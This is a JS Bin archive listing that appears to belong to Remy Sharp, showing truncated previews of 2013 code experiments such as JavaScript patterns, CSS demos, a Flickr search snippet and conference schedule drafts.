EYifUwem 21 Nov 2013 Archive Un-archive (function (B, T, C, $, undef) { $.fn.calendar2 = function (opts) { return this.each(function () { var that = this, $calendar2 = $(this), calendar2Data = $calendar2.data(), calendar2 = calendar2Data.calendar2; if (!calendar2) { new C.Calendar($calendar2, /
ATorIPO 21 Nov 2013 Archive Un-archive Click on a picture // yes, yes that is my api key right there... var flickrURL = 'http://api.flickr.com/services/rest/?method=flickr.photos.search&per_page=5&api_key=18702ea1538bc199e2c7e1d57270cd37&user_id=38257258%40N00&tags=fullfrontalconf&format=js
obOmUyo 21 Nov 2013 Archive Un-archive (function () { console.log(a); function a() { console.error('ok'); }; // console.log(b); a(function b() {}); })();
AzUZAmU 21 Nov 2013 Archive Un-archive var singleton = (function () { var singleton = { user: 'remy', doit: function (name) { this.user = name; console.log('doing it: ' + this.user); } }; return function () { return singleton; }; })(); console.clear(); var a = new singleton; var b = singleton(
2 16 Nov 2013 Archive Un-archive // singleton pattern withtout the hoop jumping of // .callee: https://code.google.com/p/jslibs/wiki/JavascriptTips#Singleton_pattern var singleton = (function () { var singleton = function () { }; singleton.user = 'rem'; return function () { return single
1 16 Nov 2013 Archive Un-archive var singleton = (function () { var singleton = function () { }; singleton.user = 'rem'; return function () { return singleton; }; })(); console.clear(); var a = new singleton; var b = new singleton; console.log(a.user); a.user = 'julie'; // updates the si
oyAgoxAl 21 Nov 2013 Archive Un-archive function memorise(fn) { var cache = {}; return function () { var key = JSON.stringify([].slice.apply(arguments)); if (cache[key]) { console.log('hit'); return cache[key]; } console.log('miss'); var promise = new Promise(); var args = [].slice.apply(argume
inANEQOC 21 Nov 2013 Archive Un-archive [ 'rem', 'julie', 'ninja', 'ellis' ]
iDEhAna 20 Nov 2013 Archive Un-archive C.Calendar = function ($element, options) { this.id_ = C.uid(); this.$element = $element.wrap('<div class="' + WRAPPER_CLASS + '"></div>').parent(); this.$input = $element; this.setOptions(options); this.selectedDays_ = []; this.sanitizeOptions(); this.in
1 20 Nov 2013 Archive Un-archive C.Calendar = function ($element, options) { this.id_ = C.uid(); this.$element = $element.wrap('<div class="' + WRAPPER_CLASS + '"></div>').parent(); this.$input = $element; this.setOptions(options); this.selectedDays_ = []; this.sanitizeOptions(); this.in
EcIHuye 20 Nov 2013 Archive Un-archive JS Bin
egArucig 20 Nov 2013 Archive Un-archive Click on a picture window.define = function(factory) { try{ delete window.define; } catch(e){ window.define = void 0; } // IE window.when = factory(); }; window.define.amd = {}; // yes, yes that is my api key right there... var flickrURL = 'http://a
IXinAVIy 20 Nov 2013 Archive Un-archive Click on a picture // yes, yes that is my api key right there... var flickrURL = 'http://api.flickr.com/services/rest/?method=flickr.photos.search&per_page=500&api_key=18702ea1538bc199e2c7e1d57270cd37&user_id=38257258%40N00&tags=fullfrontalconf&format=
enecedAV 20 Nov 2013 Archive Un-archive body { font-family: sans-serif; }
ebiBAJI 18 Nov 2013 Archive Un-archive function foo(a, b) { console.log('a', a); console.log('b', b); } console.clear(); // console.log(1,2); foo.call(this, 1, 2); foo.apply(this, [1, 2]); proxy(3, 4); function proxy(a, b) { foo.apply(this, arguments); }
1 17 Nov 2013 Archive Un-archive function foo(a, b) { console.log('a', a); console.log('b', b); } console.clear(); // console.log(1,2); foo.call(this, 1, 2); foo.apply(this, [1, 2]); proxy(3, 4);t function proxy(a, b) { foo.apply(this, arguments); }
oWObOMOX 16 Nov 2013 Archive Un-archive JS Bin
oVegiXi 16 Nov 2013 Archive Un-archive Config.prototype.connect = function (object) { object.addListener('newListener', function (event, handler) { this.addListener(event, function () { handler.apply(this, arguments); var args = [].slice.call(arguments); args.unshift(event); emit.apply(object,
erAzuSe 14 Nov 2013 Archive Un-archive console.clear(); function Person(name, location, age) { this.name = name; this.location = location; this.age = age || 0; } Person.prototype.rotateSun = function (increase) { console.log('increase: ' + increase); this.age += (increase || 1); }; // note: ab
2 14 Nov 2013 Archive Un-archive console.clear(); function Person(name, location, age) { this.name = name; this.location = location; this.age = age || 0; } Person.prototype.rotateSun = function (increase) { this.age += (increase || 1); }; // note: above can be .prototype = { } var remy =
1 14 Nov 2013 Archive Un-archive function Person(name, location, age) { this.name = name; this.location = location; this.age = age || 0; } Person.prototype.rotateSun = function () { this.age++; }; // note: above can be .prototype = { } var remy = new Person('Remy', 'Brighton', 35); conso
UQunObu 14 Nov 2013 Archive Un-archive console.clear(); console.log(new String("foo") instanceof Object); console.log("foo" instanceof Object); var foo = "foo"; console.log(foo instanceof Object); // actually, strings are objects too - see foo.bar = "bar"; console.log(foo.bar);
eQakoZoC 14 Nov 2013 Archive Un-archive colour test
aqItuFe 13 Nov 2013 Archive Un-archive console.clear(); function typeOf(o) { return ({}).toString.call(o).slice(8, -1).toLowerCase(); } var e = {}; // var typeOf = e.toString.call.bind(e.toString); console.log(typeof object); console.log(typeof array); console.log('----'); console.log('Correct
3 13 Nov 2013 Archive Un-archive console.clear(); function typeOf(o) { return ({}).toString.call(o).substr(8).slice(0, -1).toLowerCase(); } console.log(typeof object); console.log(typeof array); console.log('----'); console.log('Correct types:'); console.log(typeOf([])); console.log(type
2 13 Nov 2013 Archive Un-archive console.clear(); var empty = {}; var toString = empty.toString.bind(empty); console.log(toString); console.log(typeof toString); console.log(toString([]));
1 13 Nov 2013 Archive Un-archive console.clear(); var empty = {}; var toString = empty.toString.call.bind(empty); console.log(toString); console.log(typeof toString); console.log(toString("remy"));
OnicEbAN 13 Nov 2013 Archive Un-archive console.clear(); var empty = {}; var toString = empty.toString.bind(empty); console.log(toString); console.log(typeof toString); console.log(toString("remy"));
UhODaMuw 12 Nov 2013 Archive Un-archive body { margin: 0 auto; width: 80%; font-family: 'helvetica neue'; font-weight: 200; }
1 12 Nov 2013 Archive Un-archive body { margin: 0 auto; width: 600px; font-family: 'helvetica neue'; font-weight: 200; }
ujETUSi 06 Nov 2013 Archive Un-archive /* function timeoutLoop() { setTimeout(timeoutLoop, 3000); } timeoutLoop(); */ var el = document.querySelector('.to-spin'); var spinDeg = 0; function frame() { spinDeg = (spinDeg + 10) % 360; el.style.WebkitTransform = 'rotate(' + spinDeg + 'deg)'; //requ
AZOCIQ 04 Nov 2013 Archive Un-archive console.log('This should not run');
oFIZEjU 04 Nov 2013 Archive Un-archive var object = { p1: 'remy', p2: 'julie', p3: 'ellis', obj1: { // this'll get blasted to null, hope that' okay key: 'value' } }; Object.keys(object).forEach(function (key) { object[key] = null; }); console.log(object);
ABIyUTU 04 Nov 2013 Archive Un-archive Hi there, Please find below important and useful information to make sure your visit to the Full Frontal JavaScript Conference on Friday 8 November 2013 is super-duper! Note that we&#39;ve also published all these details http://full-frontal.org/details D
apudet 03 Nov 2013 Archive Un-archive touch.addEventListener('touchstart', function(e) { touch.classList.add('touched'); e.preventDefault(); }); touch.addEventListener('touchend', function(e) { touch.classList.remove('touched'); e.preventDefault(); });
EBuRuN 03 Nov 2013 Archive Un-archive
1 02 Nov 2013 Archive Un-archive This is an example of how I've fixed the db a little...
abayej 02 Nov 2013 Archive Un-archive /*body[data-clicks]:before{ content: " FIXED"; position: fixed; left: 0; top: 0; border-bottom: 1px solid green; border-right:1px solid green; background-color: limegreen; padding: 5px; border-bottom-right-radius: 5px; font-size: 100px; } @media screen an
13 02 Nov 2013 Archive Un-archive body[data-clicks]:before{ content: " FIXED"; position: fixed; left: 0; top: 0; border-bottom: 1px solid green; border-right:1px solid green; background-color: limegreen; padding: 5px; border-bottom-right-radius: 5px; font-size: 100px; } @media screen and
5 05 Jun 2013 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas tristique aliquet adipiscing. Vivamus vel faucibus metus. Praesent est dui, sollicitudin in lobortis id, tempor id diam. Morbi vel mi justo. Ut vel turpis est, non cursus tellus. Donec risu
2 05 Jun 2013 Archive Un-archive body[data-clicks]:before{ content: attr(data-clicks) " clicks"; position: fixed; left: 0; top: 0; border-bottom: 1px solid green; border-right:1px solid green; background-color: limegreen; padding: 5px; border-bottom-right-radius: 5px; } @media screen and
OVuzIRe 02 Nov 2013 Archive Un-archive * { font-family: 'helvetica neue'; font-weight: 200; } ul { margin: 20px 0; padding: 0; } li { color: #fff; padding: 0; margin: 0; list-style: none; } p { padding: 20px; margin: 0; } li:nth-child(1) { background: red; } li:nth-child(2) { background: green
1 02 Nov 2013 Archive Un-archive * { font-family: 'helvetica neue'; font-weight: 200; } ul { margin: 20px 0; padding: 0; } li { color: #fff; padding: 10px; margin: 0; list-style: none; } li:nth-child(1) { background: red; } li:nth-child(2) { background: green; } li:nth-child(3) { backgro
eSiyOQU 31 Oct 2013 Archive Un-archive
1 31 Oct 2013 Archive Un-archive var fs = require('fs'); fs.readdir(process.cwd(), function (err, files) { files.forEach(function (file) { fs.stat(file, function (err, stat) { console.log(file, stat.size + ' bytes'); }); }); });
uCEyEbI 30 Oct 2013 Archive Un-archive /** * Module dependencies. */ var express = require('express'), // routes = require('./routes'), // router = require('./routes/router') // user = require('./routes/user'), http = require('http'), path = require('path'); var app = express(); app.configure(
4 30 Oct 2013 Archive Un-archive /** * Module dependencies. */ var express = require('express'), // routes = require('./routes'), // router = require('./routes/router') // user = require('./routes/user'), http = require('http'), path = require('path'); var app = express(); app.configure(
3 30 Oct 2013 Archive Un-archive /** * Module dependencies. */ var express = require('express'), // routes = require('./routes'), // router = require('./routes/router') // user = require('./routes/user'), http = require('http'), path = require('path'); var app = express(); app.configure(
2 30 Oct 2013 Archive Un-archive /** * Module dependencies. */ var express = require('express'), // routes = require('./routes'), // router = require('./routes/router') // user = require('./routes/user'), http = require('http'), path = require('path'); var app = express(); app.configure(
1 30 Oct 2013 Archive Un-archive /** * Module dependencies. */ var express = require('express'), routes = require('./routes'), router = require('./routes/router'), user = require('./routes/user'), http = require('http'), path = require('path'); var app = express(); app.configure(function
opEcuX 30 Oct 2013 Archive Un-archive fingers crossed....
upIMUqU 29 Oct 2013 Archive Un-archive function numToLetter(num){ return (num + 10).toString(36); } function native(num) { return String.fromCharCode(num); } console.clear(); console.log(numToLetter(0)); console.log(native(65));
aRacUdI 28 Oct 2013 Archive Un-archive /* Simple data to HTML binding. Requires: setters/gettings, bind, qSA, getOwnPropertyNames, forEach - basically a decent browser Arguments: - obj: this is your data structure that is copied in to the Bind - mapping: this is a key/value pair of object path
oDujUKE 28 Oct 2013 Archive Un-archive function* range(start = 0, end = Infinity, step = 1) { for (var i = 0; i < end; i++) { yield i; } } for (var x of range()) { if (x == 10) break; console.log(x); } class Base { get x() { return 1; } } class Derived extends Base { get x() { return super.x +
eZiYIwO 25 Oct 2013 Archive Un-archive HTML CSS JavaScript Add JavaScript function getIframeDoc(){ var iframe = document.querySelector("#outputFrame") var doc = iframe.contentWindow.document return doc } function init() { //add style element to iframe var doc = getIframeDoc() var styl
OVoqOS 24 Oct 2013 Archive Un-archive // $clone is the template we'll use var $clone = $('ul li:first').clone(); var $list = $('ul').on('click', '.remove', function () { // remove the button's parent element - the li, from the dom $(this).parent().remove(); }).on('keydown', 'input[type="text"
1 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); $('ul').on('
EpORuQO 24 Oct 2013 Archive Un-archive fkeljhwkjhhkj......
EQiTEma 24 Oct 2013 Archive Un-archive Let's create another one. Why is this taking so long? The create is super slow.
AMukAqA 24 Oct 2013 Archive Un-archive Hope this fixes things. Okay. I don't have a url, and it's been a while. Okay, I have a url now. That's good.
eXuyEH 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); $('ul')
UYuxohA 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); $('ul').
IZELOtI 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); $('ul').on
IniNUWUs 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); $('
iSUniMa 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone();
EjekIjah 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); var
aQEfEza 23 Oct 2013 Archive Un-archive var $clone = $('ul li:first').clone(); var
efOKUcA 23 Oct 2013 Archive Un-archive × Add another
EveFaD 23 Oct 2013 Archive Un-archive × Add another ×
IPOJIXE 23 Oct 2013 Archive Un-archive × Add another
EQeYOki 23 Oct 2013 Archive Un-archive × Add another ×
ixobilu 23 Oct 2013 Archive Un-archive × Add another ×
OLETiRA 23 Oct 2013 Archive Un-archive × Add another ×
eMeHaxa 23 Oct 2013 Archive Un-archive × Add another ×
IWaVaTa 23 Oct 2013 Archive Un-archive × Add another ×
eToKeHo 23 Oct 2013 Archive Un-archive × Add another
ULOteZi 23 Oct 2013 Archive Un-archive × Add another
OconesA 23 Oct 2013 Archive Un-archive × Add another ×
aSERIDE 23 Oct 2013 Archive Un-archive × Add another ×
AFagEDU 23 Oct 2013 Archive Un-archive × Add another ×
ErAWUBu 23 Oct 2013 Archive Un-archive × Add another ×
ozediLe 23 Oct 2013 Archive Un-archive × Add another ×
uJaROv 23 Oct 2013 Archive Un-archive × Add another ×
OYIRodI 23 Oct 2013 Archive Un-archive × Add another ×
adEbAGo 23 Oct 2013 Archive Un-archive × Add another ×
aSelOcU 23 Oct 2013 Archive Un-archive × Add another ×
IxIfaVA 23 Oct 2013 Archive Un-archive × Add another ×
unEsOgIK 23 Oct 2013 Archive Un-archive × Add another ×
oBIMapO 23 Oct 2013 Archive Un-archive × Add another ×
ifIvEvA 23 Oct 2013 Archive Un-archive × Add another ×
UVaFOKa 23 Oct 2013 Archive Un-archive × Add another ×
ideBeDoj 23 Oct 2013 Archive Un-archive × Add another ×
AzUHEtO 23 Oct 2013 Archive Un-archive × Add another ×
IlabiTI 23 Oct 2013 Archive Un-archive × Add another ×
EfekATI 23 Oct 2013 Archive Un-archive × Add another ×
isimOVu 23 Oct 2013 Archive Un-archive × Add another ×
enazapU 23 Oct 2013 Archive Un-archive × Add another ×
aFeXoKU 23 Oct 2013 Archive Un-archive × Add another
OviyulA 23 Oct 2013 Archive Un-archive × Add another
ImidUwu 23 Oct 2013 Archive Un-archive × Add another
EheSIxI 23 Oct 2013 Archive Un-archive × Add another
ipoKObU 23 Oct 2013 Archive Un-archive × Add another
acIlIta 23 Oct 2013 Archive Un-archive × Add another
oFeweZe 23 Oct 2013 Archive Un-archive × Add another
eKOdEy 23 Oct 2013 Archive Un-archive × Add another
apOTuRO 23 Oct 2013 Archive Un-archive × Add another
eBUGAjU 23 Oct 2013 Archive Un-archive × Add another
ibAbeX 23 Oct 2013 Archive Un-archive × Add another
oLuheme 23 Oct 2013 Archive Un-archive × Add another
IzODokA 23 Oct 2013 Archive Un-archive × Add another
UwiXUvap 23 Oct 2013 Archive Un-archive × Add another
igeQEL 23 Oct 2013 Archive Un-archive × Add another
AzAreBO 23 Oct 2013 Archive Un-archive Add another
UQImoRi 23 Oct 2013 Archive Un-archive Add another
uYuGuVI 23 Oct 2013 Archive Un-archive × Add another
efUJare 23 Oct 2013 Archive Un-archive × Add another
USIfeza 23 Oct 2013 Archive Un-archive X Add another
ijACoTa 23 Oct 2013 Archive Un-archive × Add another
EYIcup 23 Oct 2013 Archive Un-archive X Add another
ajaMukU 23 Oct 2013 Archive Un-archive X Add another
eWelAPA 23 Oct 2013 Archive Un-archive Add another
oleJAwI 23 Oct 2013 Archive Un-archive Add another
EbeSeMi 23 Oct 2013 Archive Un-archive X Add another
UTObirE 23 Oct 2013 Archive Un-archive X Add another
IkInOBi 23 Oct 2013 Archive Un-archive Add another
uPebuso 23 Oct 2013 Archive Un-archive Add another
emUheTE 23 Oct 2013 Archive Un-archive Add another
ocOYIvI 23 Oct 2013 Archive Un-archive Add another
IyoDEy 23 Oct 2013 Archive Un-archive Add another
ulUgukE 23 Oct 2013 Archive Un-archive Add another
oMUCeTI 23 Oct 2013 Archive Un-archive Add another
OqAfigA 23 Oct 2013 Archive Un-archive Add another
oXonuZ 23 Oct 2013 Archive Un-archive Add another
ERUFezO 23 Oct 2013 Archive Un-archive Add another
IwAgEJA 23 Oct 2013 Archive Un-archive Add
ItIZivU 23 Oct 2013 Archive Un-archive Addd
ufEPoqer 23 Oct 2013 Archive Un-archive JS Bin
oMAWaSo 23 Oct 2013 Archive Un-archive JS Bin
evOlEce 23 Oct 2013 Archive Un-archive JS Bin
uCiXUYo 23 Oct 2013 Archive Un-archive JS Bin
UBInOVi 23 Oct 2013 Archive Un-archive JS Bin
UmiPOqa 23 Oct 2013 Archive Un-archive JS Bin
uyOBamA 23 Oct 2013 Archive Un-archive JS Bin
EQOdeyU 23 Oct 2013 Archive Un-archive JS Bin
iFixAWa 23 Oct 2013 Archive Un-archive A
oqonepU 23 Oct 2013 Archive Un-archive ul>li*2>inp
asEtumU 23 Oct 2013 Archive Un-archive ul>li*2>
uBIBOqE 23 Oct 2013 Archive Un-archive ul>li
UfIZUrE 23 Oct 2013 Archive Un-archive ul>
ebAJOWi 23 Oct 2013 Archive Un-archive ul>li>
aNUNAYa 23 Oct 2013 Archive Un-archive JS Bin
oXalOYe 23 Oct 2013 Archive Un-archive JS Bin
oNEyUgo 23 Oct 2013 Archive Un-archive JS Bin
oFapoTa 23 Oct 2013 Archive Un-archive JS Bin
IQoDuJU 23 Oct 2013 Archive Un-archive JS Bin
IxevevU 23 Oct 2013 Archive Un-archive JS Bin
aPEzUZO 23 Oct 2013 Archive Un-archive JS Bin
oYICEqe 23 Oct 2013 Archive Un-archive JS Bin
UkoHaxe 23 Oct 2013 Archive Un-archive JS Bin
IROyUdo 23 Oct 2013 Archive Un-archive JS Bin
iCoRIta 23 Oct 2013 Archive Un-archive JS Bin
EriVixu 23 Oct 2013 Archive Un-archive JS Bin
uHUToHI 23 Oct 2013 Archive Un-archive JS Bin
amUZoP 23 Oct 2013 Archive Un-archive JS Bin
ovUTip 23 Oct 2013 Archive Un-archive JS Bin
aVESuSa 21 Oct 2013 Archive Un-archive console.clear(); var talks = "reg welcome 1 2 break 3 4 lunch 5 6"; function len(type) { if (type == 'reg') return 25; if (type == 'welcome') return 10; if (type == 'break') return 25; if (type == 'lunch') return 90; return 35; } var start = Date.parse("S
2 21 Oct 2013 Archive Un-archive console.clear(); var talks = "reg welcome 1 2 break 3 4 lunch 5 6"; function len(type) { if (type == 'reg') return 25; if (type == 'welcome') return 10; if (type == 'break') return 25; if (type == 'lunch') return 90; return 35; } var start = Date.parse("S
1 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4 lunch 5 6";
oruDiqE 21 Oct 2013 Archive Un-archive This is just an example. Why is it pending..
uPehUMU 21 Oct 2013 Archive Un-archive This is just an example.
UNeGij 21 Oct 2013 Archive Un-archive This is ju
ADapUBU 21 Oct 2013 Archive Un-archive JS Bin
AdEsoZE 21 Oct 2013 Archive Un-archive This
AtUGIwA 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4 lunch
AMaTIs 21 Oct 2013 Archive Un-archive var talks = "1 2
uKowaqo 21 Oct 2013 Archive Un-archive var talks = [
udiBiKU 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4 lunch 55
uCaYIZe 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4 lunch 4
AmIjuzE 21 Oct 2013 Archive Un-archive var talks = "1 2 break
aKAQUca 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4
AwEMADI 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3
EpEfoZE 21 Oct 2013 Archive Un-archive var talks = "1 2 break
ulijOwU 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4
ISomURa 21 Oct 2013 Archive Un-archive var talks =
AMojAja 21 Oct 2013 Archive Un-archive var talks = "
owoXaVo 21 Oct 2013 Archive Un-archive var talks = "1 2 break 3 4 lunch 5 6 "
uCAHAXo 21 Oct 2013 Archive Un-archive var talks =
EnuvOJu 21 Oct 2013 Archive Un-archive var
AZiCOV 21 Oct 2013 Archive Un-archive Schedule
OVUjayA 21 Oct 2013 Archive Un-archive Schedule
aretiye 21 Oct 2013 Archive Un-archive Schedule
EMARuGE 21 Oct 2013 Archive Un-archive Schedule
OGOhEJu 21 Oct 2013 Archive Un-archive Schedul
ubAWeNI 21 Oct 2013 Archive Un-archive Schedule
iBeMUhe 21 Oct 2013 Archive Un-archive Sche
agOtiWo 21 Oct 2013 Archive Un-archive Schedu
IWobeQU 19 Oct 2013 Archive Un-archive
iTezEBa 17 Oct 2013 Archive Un-archive let a = 1; class Foo {} // be
IMEceVa 17 Oct 2013 Archive Un-archive let a = 1; class Foo {}
eboDaGa 17 Oct 2013 Archive Un-archive let a = 1; class Foo {}
1 17 Oct 2013 Archive Un-archive let a = 1; class Foo {}
UGiJecE 17 Oct 2013 Archive Un-archive let a = 1; class Foo {}
iqabeBU 17 Oct 2013 Archive Un-archive Just an amazing test...
AHayUGI 17 Oct 2013 Archive Un-archive
exubAHa 17 Oct 2013 Archive Un-archive let a = 1; class Foo {}
OYuqaGE 17 Oct 2013 Archive Un-archive let a = 1; class Foo {}
eBOwAjE 17 Oct 2013 Archive Un-archive Hello World
EyInuqO 17 Oct 2013 Archive Un-archive Hello World
UrEMIQO 17 Oct 2013 Archive Un-archive html, body { position: relative; width: 100%; } body { font-family: 'Roboto Slab', serif; -webkit-transform: scale(1.8) translateY(50%); } p { font-size: 48px; text-align: center; } .and { font: 0/0 a; display: none; } .and:before { /* kinda hacked my way
10 17 Oct 2013 Archive Un-archive Hack and share, fix and learn. jsbin.com
9 17 Oct 2013 Archive Un-archive Hack and share, fix and learn. jsbin.com
8 17 Oct 2013 Archive Un-archive Hack and share fix and learn. jsbin.com
7 17 Oct 2013 Archive Un-archive Hack and share, fix and learn. jsbin.com
5 15 Oct 2013 Archive Un-archive body { font-family: 'Roboto Slab', serif; } p { font-size: 48px; text-align: center; } .and { font: 0/0 a; } .and:before { /* kinda hacked my way through this... */ font-family: 'Roboto Slab', serif; font-size: 48px; content: '&'; display: inline-block; f
aFuLuYa 16 Oct 2013 Archive Un-archive 0
UwoLUVA 15 Oct 2013 Archive Un-archive // fisher-yates shuffle function shuffle(array) { var counter = array.length, temp, index; // While there are elements in the array while (counter > 0) { // Pick a random index index = Math.floor(Math.random() * counter); // Decrease counter by 1 counter-
OBIsuMI 15 Oct 2013 Archive Un-archive // fisher-yates shuffle function shuffle(array) { var counter = array.length, temp, index; // While there are elements in the array while (counter > 0) { // Pick a random index index = Math.floor(Math.random() * counter); // Decrease counter by 1 counter-
ObidIKeZ 06 Oct 2013 Archive Un-archive This my page And here is my content
OVUROpU 05 Oct 2013 Archive Un-archive Keep this text in secret
2 04 Oct 2013 Archive Un-archive Keep this text in secret
uZIGELe 04 Oct 2013 Archive Un-archive Not created by Remy.
1 04 Oct 2013 Archive Un-archive Not created by Remy.
AWuKUgi 04 Oct 2013 Archive Un-archive var bbCan = document.createElement("canvas"), // backbuffer bbCtx = bbCan.getContext("2d"), canvas = document.getElementById("canvas"), // render canvas ctx = canvas.getContext("2d"); // modified heavily from a js1k I did a while back. var size = 16, size
AdiLIcI 04 Oct 2013 Archive Un-archive Not created by Remy
3 04 Oct 2013 Archive Un-archive Not created by Remy
2 04 Oct 2013 Archive Un-archive Not created by Remy
1 04 Oct 2013 Archive Un-archive Not created by Remy
ENaXeFe 04 Oct 2013 Archive Un-archive document.querySelector('button').onclick = post; function post() { var pre = document.querySelector('pre').innerHTML; // alert(pre); var form = document.createElement('form'); document.body.appendChild(form); form.appendChild(append('less', pre)); form.ta
OqUwegA 03 Oct 2013 Archive Un-archive var holder = document.getElementById('holder'), tests = { filereader: typeof FileReader != 'undefined', dnd: false, formdata: !!window.FormData, progress: "upload" in (new XMLHttpRequest()) }, support = { filereader: document.getElementById('filereader'),
1 03 Oct 2013 Archive Un-archive Image render &amp; upload Upload an image: File API &amp; FileReader API not supported XHR2's FormData is not supported XHR2's upload progress isn't supported Upload progress: 0 The image is being upload to a /dev/null end point, but shuold be preview
onAgEtO 02 Oct 2013 Archive Un-archive body { font-family: 'Roboto Slab', serif; } p { font-size: 48px; text-align: center; } .and { font: 0/0 a; } .and:before { /* kinda hacked my way through this... */ font-family: 'Libre Baskerville', serif; font-size: 148px; content: '&'; position: absolut
3 02 Oct 2013 Archive Un-archive body { font-family: 'Open Sans', serif; } p { font-size: 48px; text-align: center; } .and { font: 0/0 a; } .and:before { /* kinda hacked my way through this... */ font-family: 'Libre Baskerville', serif; font-size: 148px; content: '&'; position: absolute;
2 02 Oct 2013 Archive Un-archive Hack and share, fix and learn. jsbin.com
1 01 Oct 2013 Archive Un-archive body { font-family: 'Roboto Slab', serif; } p { font-size: 48px; text-align: center; } .and { font: 0/0 a; } .and:before { /* kinda hacked my way through this... */ font-family: 'Roboto Slab', serif; font-size: 48px; content: '&'; display: inline-block; f
IDIxeyu 02 Oct 2013 Archive Un-archive Voting You vote, either left or right For fans Not the spinning kind, the obsessive kinds! Mobile too Not just for your klunky desktop, we do mobile! Responsive! Does my mum know what responsive is? Heck, no, but we're doing it anyway. Po
1 01 Oct 2013 Archive Un-archive Voting You vote, either left or right For fans Not the spinning kind, the obsessive kinds! Mobile too Not just for your klunky desktop, we do mobile! Responsive! Does my mum know what responsive is? Heck, no, but we're doing it anyway. P
UxAkUTO 02 Oct 2013 Archive Un-archive
1 01 Oct 2013 Archive Un-archive
IqEpazo 01 Oct 2013 Archive Un-archive var b = document.querySelector('button'); var a = []; a.push(document.createElement('a')); a.push(document.createElement('a')); a[0].href = location.pathname; a[1].href = "http://jsbin.com/FemdNa/1/edit"; var i = 0; b.onclick = function () { // flip i i =
1 01 Oct 2013 Archive Un-archive var b = document.querySelector('button'); var a = []; a.push(document.createElement('a')); a.push(document.createElement('a')); a[0].href = "http://jsbin.com/IqEpazo/10/edit"; a[1].href = "http://jsbin.com/FemdNa/1/edit"; history.pushState(a[0].pathname);
FemdNa 01 Oct 2013 Archive Un-archive document.getElementById("hello").innerHTML = "<strong>This URL does not have any code saved to it.</strong>";
EqEpAY 01 Oct 2013 Archive Un-archive animating the url bar
eCAHIY 01 Oct 2013 Archive Un-archive ani
olOZerI 27 Sep 2013 Archive Un-archive function asTime(v) { v = v.split(':', 2); var h = v[0], m = v[1], d = new Date(); d.setMinutes(m); d.setHours(h); return d.getTime(); } var start = $('#start').on('change', function () { if (end.valueAsDate.getTime() <= this.valueAsDate.getTime()) { end.v
onONeSu 27 Sep 2013 Archive Un-archive Welcome to my mobile test Input: Lorem ipsum dolor sit amet, consectetur adipisicing elit. Tempora minima in aperiam mollitia autem a excepturi nulla sapiente dolorum corporis ipsa vitae omnis voluptas illo accusantium doloremque facilis porro est.
OfEKiVU 27 Sep 2013 Archive Un-archive var bbCan = document.createElement("canvas"), // backbuffer bbCtx = bbCan.getContext("2d"), canvas = document.getElementById("canvas"), // render canvas ctx = canvas.getContext("2d"); // modified heavily from a js1k I did a while back. var size = 16, size
evoWIxa 26 Sep 2013 Archive Un-archive Topcoat Range Input Reset Topcoat Range Input Topcoat Vertical Range Input Current status: vertical slider can be achieved with appearance: vertical-slider on Chrome. On Firefox this has not been implemented because a decision about ho
uKutAn 26 Sep 2013 Archive Un-archive Filthy example This is an example script that uses inner html in the script tag to configure itself. Arguably the options could be data attributes on the script node, but this was weird to look at - which is what I liked :) Below is injected based on the
1 26 Sep 2013 Archive Un-archive { "name": "Remy Sharp", "twitter": "rem", "batshit": true }
OFOpOva 26 Sep 2013 Archive Un-archive
ENUrENO 25 Sep 2013 Archive Un-archive Actually, I'm the title Hello world //
oQEmAtI 24 Sep 2013 Archive Un-archive JS Bin
AxOFosO 23 Sep 2013 Archive Un-archive </html
oLaluJu 23 Sep 2013 Archive Un-archive JS Bin
ADoguyA 20 Sep 2013 Archive Un-archive simple_cursor
iPuGaYA 18 Sep 2013 Archive Un-archive var a = [ { val: 0 }, { val: 1 }, { val: 2 }, { val: 3 } ], lookup = ['a', 'b', 'c', 'd']; var b = a.map(function (item) { item.val = lookup[item.val]; return item.val; }); console.clear(); console.log(b); console.log(a);
UteGEna 15 Sep 2013 Archive Un-archive Remy Sharp.
UTeXaDo 15 Sep 2013 Archive Un-archive use live input --Hz -- --cents &#9837;cents &#9839;
3 15 Sep 2013 Archive Un-archive use live input --Hz -- --cents &#9837;cents &#9839;
2 15 Sep 2013 Archive Un-archive var audioContext = new AudioContext(); var isPlaying = false; var sourceNode = null; var analyser = null; var theBuffer = null; var detectorElem, canvasElem, pitchElem, noteElem, detuneElem, detuneAmount, capture = document.getElementById('capture'); wind
1 14 Sep 2013 Archive Un-archive use demo audio use live input sample--> --Hz -- --cents &#9837;cents &#9839;
uSELazU 12 Sep 2013 Archive Un-archive while(true) {}
olOZuk 12 Sep 2013 Archive Un-archive Ajbjbnccorn demo
5 12 Sep 2013 Archive Un-archive Accorn demo
4 07 Sep 2013 Archive Un-archive function addChecks(code) { var ast = acorn.parse(code); var id = 0, changes = []; function decorateLoop(node) { console.log(node); changes.push({ body: { at: node.body.start + 1, text: "checkLoop(" + (id) + ");" }, init: { at: node.start, text: "initLoop(
3 07 Sep 2013 Archive Un-archive function addChecks(code) { var ast = acorn.parse(code); var id = 0, changes = []; function decorateLoop(node) { console.log(node); changes.push({ body: { at: node.body.start + 1, text: "checkLoop(" + (id++) + ");" }, init: { at: node.init.start, text: "in
oHuYEVa 12 Sep 2013 Archive Un-archive ok - just testing.
1 08 Sep 2013 Archive Un-archive JS Bin
ipeHoRu 03 Sep 2013 Archive Un-archive var chatOutput = document.getElementById('chat-output'); var chatInput = document.getElementById('chat-input'); chatInput.onkeypress = function(e) { if (e.keyCode != 13) return; channel.send(this.value); chatOutput.innerHTML = 'Me: ' + this.value + '' + c
